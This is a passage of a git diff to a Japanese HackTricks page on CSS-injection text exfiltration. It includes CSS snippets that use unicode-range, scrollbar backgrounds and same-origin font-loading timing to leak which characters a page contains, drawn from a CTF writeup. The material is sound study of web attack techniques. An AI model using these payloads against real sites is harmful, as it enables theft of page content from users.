この方法では新しく現れるユニークな文字を検出できますが、どの文字が重複しているかまでは特定できず、重複が発生したということのみが分かります。
|
||||
|
||||
> [!NOTE]
|
||||
> 基本的に、**unicode-rangeは文字を検出するために使用されます**が、外部フォントを読み込むことは望ましくないため、別の方法を見つける必要があります。\
|
||||
> **文字**が**見つかった**とき、それは**事前にインストールされたComic Sansフォント**が**与えられ**、**文字を大きくし**、**スクロールバーをトリガー**し、**見つかった文字を漏洩**させます。
|
||||
> [!TIP]
|
||||
> 基本的に、**unicode-range は文字を検出するために使用されます** が、外部フォントを読み込みたくないため別の方法を用意する必要があります。\
|
||||
> 文字が見つかると、その文字には事前インストールされた **Comic Sans font** が適用され、文字が大きくなってスクロールバーが発生します。これにより、見つかった文字が **leak** されます。
|
||||
|
||||
PoCから抽出されたコードを確認してください:
|
||||
Check the code extracted from the PoC:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### テキストノードの抽出 (III): デフォルトフォントで文字セットを漏洩させるために要素を隠す (外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** これは[この書き込みでの失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参照:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
このケースは前のケースと非常に似ていますが、この場合の目標は特定の**文字を他の文字より大きくすることで何かを隠す**ことです。例えば、ボットによって押されないボタンや読み込まれない画像などです。したがって、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
|
||||
このケースは前のケースと非常に似ていますが、ここでは特定の **chars を他の文字より大きくして何か(例えば bot に押されないようにするボタンや読み込まれない image)を隠す** ことが目的です。そうすることで、そのアクション(あるいは不作動)を計測して、特定の char がテキスト内に存在するかどうかを判別できます。
|
||||
|
||||
### テキストノードの抽出 (III): キャッシュタイミングによる文字セットの漏洩 (外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** これは[この書き込みでの失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参照:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
この場合、同じオリジンから偽のフォントを読み込むことで、テキストに文字が含まれているかどうかを漏洩させることを試みることができます:
|
||||
この場合は、同一オリジンから fake font を読み込んで、テキストに特定の char があるかどうかを leak しようと試みることができます:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
もし一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。成功裏に読み込まれることはありませんが、**ブラウザはそれをキャッシュするはずです**。キャッシュがなくても、**304 not modified** メカニズムがあるため、**レスポンスは他のものよりも速くなるはずです**。
|
||||
一致した場合、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。実際には正常に読み込まれないことが多いですが、**ブラウザはそれをキャッシュするはず**で、キャッシュが無くても **304 not modified** が働くため、**レスポンスは他のリクエストより速くなるはずです**。
|
||||
|
||||
しかし、キャッシュされたレスポンスと非キャッシュのレスポンスの時間差が十分でない場合、これは役に立ちません。例えば、著者は次のように述べています:しかし、テストの結果、最初の問題は速度があまり変わらないことであり、二つ目の問題はボットが `disk-cache-size=1` フラグを使用していることで、これは本当に考慮されています。
|
||||
ただし、キャッシュ済みレスポンスと未キャッシュのレスポンスの時間差が十分でなければ、有効ではありません。例えば著者は次のように述べています: テストしたところ、第一の問題は速度差があまりないことで、第二の問題はボットが `disk-cache-size=1` フラグを使っていることで、かなり配慮されているという点です。
|
||||
|
||||
### テキストノードの抽出 (III): 数百のローカル「フォント」を読み込むことで文字セットをタイミングで漏洩させる(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** これは [この書き込みの中での失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
この場合、一致が発生したときに**同じオリジンから数百の偽フォントを読み込むようにCSSを指定できます**。この方法で、**時間を測定**し、文字が現れるかどうかを次のようなもので確認できます:
|
||||
この場合、マッチ時に同一オリジンから数百の偽フォントを読み込むような**CSS を指定**できます。こうして読み込みにかかる時間を**計測**し、ある文字が出現するかどうかを次のように判別できます:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -741,13 +777,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
そして、ボットのコードは次のようになります:
|
||||
そしてボットのコードは次のとおりです:
|
||||
```python
|
||||
browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
フォントが一致しない場合、ボットを訪問した際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合、フォントを取得するために複数のリクエストが送信され、ネットワークは継続的に活動します。その結果、停止条件を満たし、応答を受け取るまでに時間がかかります。したがって、応答時間はフォントの一致を判断する指標として使用できます。
|
||||
したがって、フォントが一致しない場合、ボットにアクセスした際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合は、フォントを取得するために複数のリクエストが送信され、ネットワークに継続的な活動が発生します。その結果、停止条件を満たしてレスポンスを受け取るまでに時間がかかります。したがって、応答時間はフォントが一致するかどうかを判断する指標として利用できます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
@ -755,5 +791,11 @@ time.sleep(30)
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
|
||||
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
|
||||
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
|
||||
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
|
||||
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
|
||||
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user